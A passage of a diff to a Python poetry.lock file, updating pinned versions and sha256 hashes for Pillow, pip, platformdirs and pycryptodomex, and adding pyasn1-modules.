"Pillow-9.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:a96e6e23f2b79433390273eaf8cc94fec9c6370842e577ab10dabdcc7ea0a66b"}, - {file = "Pillow-9.4.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7cfc287da09f9d2a7ec146ee4d72d6ea1342e770d975e49a8621bf54eaa8f30f"}, - {file = "Pillow-9.4.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d7081c084ceb58278dd3cf81f836bc818978c0ccc770cbbb202125ddabec6628"}, - {file = "Pillow-9.4.0-cp38-cp38-win32.whl", hash = "sha256:df41112ccce5d47770a0c13651479fbcd8793f34232a2dd9faeccb75eb5d0d0d"}, - {file = "Pillow-9.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:7a21222644ab69ddd9967cfe6f2bb420b460dae4289c9d40ff9a4896e7c35c9a"}, - {file = "Pillow-9.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0f3269304c1a7ce82f1759c12ce731ef9b6e95b6df829dccd9fe42912cc48569"}, - {file = "Pillow-9.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cb362e3b0976dc994857391b776ddaa8c13c28a16f80ac6522c23d5257156bed"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a2e0f87144fcbbe54297cae708c5e7f9da21a4646523456b00cc956bd4c65815"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:28676836c7796805914b76b1837a40f76827ee0d5398f72f7dcc634bae7c6264"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0884ba7b515163a1a05440a138adeb722b8a6ae2c2b33aea93ea3118dd3a899e"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:53dcb50fbdc3fb2c55431a9b30caeb2f7027fcd2aeb501459464f0214200a503"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:e8c5cf126889a4de385c02a2c3d3aba4b00f70234bfddae82a5eaa3ee6d5e3e6"}, - {file = "Pillow-9.4.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:6c6b1389ed66cdd174d040105123a5a1bc91d0aa7059c7261d20e583b6d8cbd2"}, - {file = "Pillow-9.4.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0dd4c681b82214b36273c18ca7ee87065a50e013112eea7d78c7a1b89a739153"}, - {file = "Pillow-9.4.0-cp39-cp39-win32.whl", hash = "sha256:6d9dfb9959a3b0039ee06c1a1a90dc23bac3b430842dcb97908ddde05870601c"}, - {file = "Pillow-9.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:54614444887e0d3043557d9dbc697dbb16cfb5a35d672b7a0fcc1ed0cf1c600b"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b9b752ab91e78234941e44abdecc07f1f0d8f51fb62941d32995b8161f68cfe5"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d3b56206244dc8711f7e8b7d6cad4663917cd5b2d950799425076681e8766286"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aabdab8ec1e7ca7f1434d042bf8b1e92056245fb179790dc97ed040361f16bfd"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db74f5562c09953b2c5f8ec4b7dfd3f5421f31811e97d1dbc0a7c93d6e3a24df"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e9d7747847c53a16a729b6ee5e737cf170f7a16611c143d95aa60a109a59c336"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b52ff4f4e002f828ea6483faf4c4e8deea8d743cf801b74910243c58acc6eda3"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:575d8912dca808edd9acd6f7795199332696d3469665ef26163cd090fa1f8bfa"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c3c4ed2ff6760e98d262e0cc9c9a7f7b8a9f61aa4d47c58835cdaf7b0b8811bb"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e621b0246192d3b9cb1dc62c78cfa4c6f6d2ddc0ec207d43c0dedecb914f152a"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8f127e7b028900421cad64f51f75c051b628db17fb00e099eb148761eed598c9"}, - {file = "Pillow-9.4.0.tar.gz", hash = "sha256:a1c2d7780448eb93fbcc3789bf3916aa5720d942e37945f4056680317f1cd23e"}, + {file = "Pillow-9.5.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:ace6ca218308447b9077c14ea4ef381ba0b67ee78d64046b3f19cf4e1139ad16"}, + {file = "Pillow-9.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3d403753c9d5adc04d4694d35cf0391f0f3d57c8e0030aac09d7678fa8030aa"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ba1b81ee69573fe7124881762bb4cd2e4b6ed9dd28c9c60a632902fe8db8b38"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe7e1c262d3392afcf5071df9afa574544f28eac825284596ac6db56e6d11062"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f36397bf3f7d7c6a3abdea815ecf6fd14e7fcd4418ab24bae01008d8d8ca15e"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:252a03f1bdddce077eff2354c3861bf437c892fb1832f75ce813ee94347aa9b5"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85ec677246533e27770b0de5cf0f9d6e4ec0c212a1f89dfc941b64b21226009d"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b416f03d37d27290cb93597335a2f85ed446731200705b22bb927405320de903"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1781a624c229cb35a2ac31cc4a77e28cafc8900733a864870c49bfeedacd106a"}, + {file = "Pillow-9.5.0-cp310-cp310-win32.whl", hash = "sha256:8507eda3cd0608a1f94f58c64817e83ec12fa93a9436938b191b80d9e4c0fc44"}, + {file = "Pillow-9.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:d3c6b54e304c60c4181da1c9dadf83e4a54fd266a99c70ba646a9baa626819eb"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:7ec6f6ce99dab90b52da21cf0dc519e21095e332ff3b399a357c187b1a5eee32"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:560737e70cb9c6255d6dcba3de6578a9e2ec4b573659943a5e7e4af13f298f5c"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96e88745a55b88a7c64fa49bceff363a1a27d9a64e04019c2281049444a571e3"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9c206c29b46cfd343ea7cdfe1232443072bbb270d6a46f59c259460db76779a"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcc2c53c06f2ccb8976fb5c71d448bdd0a07d26d8e07e321c103416444c7ad1"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:a0f9bb6c80e6efcde93ffc51256d5cfb2155ff8f78292f074f60f9e70b942d99"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d935f924bbab8f0a9a28404422da8af4904e36d5c33fc6f677e4c4485515625"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fed1e1cf6a42577953abbe8e6cf2fe2f566daebde7c34724ec8803c4c0cda579"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c1170d6b195555644f0616fd6ed929dfcf6333b8675fcca044ae5ab110ded296"}, + {file = "Pillow-9.5.0-cp311-cp311-win32.whl", hash = "sha256:54f7102ad31a3de5666827526e248c3530b3a33539dbda27c6843d19d72644ec"}, + {file = "Pillow-9.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfa4561277f677ecf651e2b22dc43e8f5368b74a25a8f7d1d4a3a243e573f2d4"}, + {file = "Pillow-9.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:965e4a05ef364e7b973dd17fc765f42233415974d773e82144c9bbaaaea5d089"}, + {file = "Pillow-9.5.0-cp312-cp312-win32.whl", hash = "sha256:22baf0c3cf0c7f26e82d6e1adf118027afb325e703922c8dfc1d5d0156bb2eeb"}, + {file = "Pillow-9.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:432b975c009cf649420615388561c0ce7cc31ce9b2e374db659ee4f7d57a1f8b"}, + {file = "Pillow-9.5.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5d4ebf8e1db4441a55c509c4baa7a0587a0210f7cd25fcfe74dbbce7a4bd1906"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:375f6e5ee9620a271acb6820b3d1e94ffa8e741c0601db4c0c4d3cb0a9c224bf"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99eb6cafb6ba90e436684e08dad8be1637efb71c4f2180ee6b8f940739406e78"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dfaaf10b6172697b9bceb9a3bd7b951819d1ca339a5ef294d1f1ac6d7f63270"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:763782b2e03e45e2c77d7779875f4432e25121ef002a41829d8868700d119392"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:35f6e77122a0c0762268216315bf239cf52b88865bba522999dc38f1c52b9b47"}, + {file = "Pillow-9.5.0-cp37-cp37m-win32.whl", hash = "sha256:aca1c196f407ec7cf04dcbb15d19a43c507a81f7ffc45b690899d6a76ac9fda7"}, + {file = "Pillow-9.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322724c0032af6692456cd6ed554bb85f8149214d97398bb80613b04e33769f6"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:a0aa9417994d91301056f3d0038af1199eb7adc86e646a36b9e050b06f526597"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8286396b351785801a976b1e85ea88e937712ee2c3ac653710a4a57a8da5d9c"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c830a02caeb789633863b466b9de10c015bded434deb3ec87c768e53752ad22a"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fbd359831c1657d69bb81f0db962905ee05e5e9451913b18b831febfe0519082"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8fc330c3370a81bbf3f88557097d1ea26cd8b019d6433aa59f71195f5ddebbf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:7002d0797a3e4193c7cdee3198d7c14f92c0836d6b4a3f3046a64bd1ce8df2bf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:229e2c79c00e85989a34b5981a2b67aa079fd08c903f0aaead522a1d68d79e51"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9adf58f5d64e474bed00d69bcd86ec4bcaa4123bfa70a65ce72e424bfb88ed96"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:662da1f3f89a302cc22faa9f14a262c2e3951f9dbc9617609a47521c69dd9f8f"}, + {file = "Pillow-9.5.0-cp38-cp38-win32.whl", hash = "sha256:6608ff3bf781eee0cd14d0901a2b9cc3d3834516532e3bd673a0a204dc8615fc"}, + {file = "Pillow-9.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:e49eb4e95ff6fd7c0c402508894b1ef0e01b99a44320ba7d8ecbabefddcc5569"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:482877592e927fd263028c105b36272398e3e1be3269efda09f6ba21fd83ec66"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3ded42b9ad70e5f1754fb7c2e2d6465a9c842e41d178f262e08b8c85ed8a1d8e"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c446d2245ba29820d405315083d55299a796695d747efceb5717a8b450324115"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aca1152d93dcc27dc55395604dcfc55bed5f25ef4c98716a928bacba90d33a3"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:608488bdcbdb4ba7837461442b90ea6f3079397ddc968c31265c1e056964f1ef"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:60037a8db8750e474af7ffc9faa9b5859e6c6d0a50e55c45576bf28be7419705"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:07999f5834bdc404c442146942a2ecadd1cb6292f5229f4ed3b31e0a108746b1"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a127ae76092974abfbfa38ca2d12cbeddcdeac0fb71f9627cc1135bedaf9d51a"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:489f8389261e5ed43ac8ff7b453162af39c3e8abd730af8363587ba64bb2e865"}, + {file = "Pillow-9.5.0-cp39-cp39-win32.whl", hash = "sha256:9b1af95c3a967bf1da94f253e56b6286b50af23392a886720f563c547e48e964"}, + {file = "Pillow-9.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:77165c4a5e7d5a284f10a6efaa39a0ae8ba839da344f20b111d62cc932fa4e5d"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:833b86a98e0ede388fa29363159c9b1a294b0905b5128baf01db683672f230f5"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aaf305d6d40bd9632198c766fb64f0c1a83ca5b667f16c1e79e1661ab5060140"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0852ddb76d85f127c135b6dd1f0bb88dbb9ee990d2cd9aa9e28526c93e794fba"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:91ec6fe47b5eb5a9968c79ad9ed78c342b1f97a091677ba0e012701add857829"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb841572862f629b99725ebaec3287fc6d275be9b14443ea746c1dd325053cbd"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c380b27d041209b849ed246b111b7c166ba36d7933ec6e41175fd15ab9eb1572"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9af5a3b406a50e313467e3565fc99929717f780164fe6fbb7704edba0cebbe"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5671583eab84af046a397d6d0ba25343c00cd50bce03787948e0fff01d4fd9b1"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:84a6f19ce086c1bf894644b43cd129702f781ba5751ca8572f08aa40ef0ab7b7"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1e7723bd90ef94eda669a3c2c19d549874dd5badaeefabefd26053304abe5799"}, + {file = "Pillow-9.5.0.tar.gz", hash = "sha256:bf548479d336726d7a0eceb6e767e179fbde37833ae42794602631a070d630f1"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-issues (>=3.0.1)", "sphinx-removed-in", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] [[package]] name = "pip" -version = "23.0.1" +version = "23.1.2" description = "The PyPA recommended tool for installing Python packages." category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "pip-23.0.1-py3-none-any.whl", hash = "sha256:236bcb61156d76c4b8a05821b988c7b8c35bf0da28a4b614e8d6ab5212c25c6f"}, - {file = "pip-23.0.1.tar.gz", hash = "sha256:cd015ea1bfb0fcef59d8a286c1f8bebcb983f6317719d415dc5351efb7cd7024"}, + {file = "pip-23.1.2-py3-none-any.whl", hash = "sha256:3ef6ac33239e4027d9a5598a381b9d30880a1477e50039db2eac6e8a8f6d1b18"}, + {file = "pip-23.1.2.tar.gz", hash = "sha256:0e7c86f486935893c708287b30bd050a36ac827ec7fe5e43fe7cb198dd835fba"}, ] [[package]] name = "platformdirs" -version = "3.2.0" +version = "3.5.1" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.2.0-py3-none-any.whl", hash = "sha256:ebe11c0d7a805086e99506aa331612429a72ca7cd52a1f0d277dc4adc20cb10e"}, - {file = "platformdirs-3.2.0.tar.gz", hash = "sha256:d5b638ca397f25f979350ff789db335903d7ea010ab28903f57b27e1b16c2b08"}, + {file = "platformdirs-3.5.1-py3-none-any.whl", hash = "sha256:e2378146f1964972c03c085bb5662ae80b2b8c06226c54b2ff4aa9483e8a13a5"}, + {file = "platformdirs-3.5.1.tar.gz", hash = "sha256:412dae91f52a6f84830f39a8078cecd0e866cb72294a5c66808e74d5e88d251f"}, ] [package.dependencies] typing-extensions = {version = ">=4.5", markers = "python_version < \"3.8\""} [package.extras] -docs = ["furo (>=2022.12.7)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.22,!=1.23.4)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.2.2)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] +docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.2.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] [[package]] name = "pluggy" @@ -1678,6 +1644,21 @@ files = [ {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, ] +[[package]] +name = "pyasn1-modules" +version = "0.3.0" +description = "A collection of ASN.1-based protocols modules" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, + {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, +] + +[package.dependencies] +pyasn1 = ">=0.4.6,<0.6.0" + [[package]] name = "pycodestyle" version = "2.9.1" @@ -1704,45 +1685,44 @@ files = [ [[package]] name = "pycryptodomex" -version = "3.17" +version = "3.18.0" description = "Cryptographic library for Python" category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "pycryptodomex-3.17-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340"}, - {file = "pycryptodomex-3.17-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4"}, - {file = "pycryptodomex-3.17-cp27-cp27m-win32.whl", hash = "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c"}, - {file = "pycryptodomex-3.17-cp27-cp27m-win_amd64.whl", hash = "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8"}, - {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a"}, - {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7"}, - {file = "pycryptodomex-3.17-cp35-abi3-win32.whl", hash = "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df"}, - {file = "pycryptodomex-3.17-cp35-abi3-win_amd64.whl", hash = "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-win32.whl", hash = "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b"}, - {file = "pycryptodomex-3.17.tar.gz", hash = "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"}, + {file = 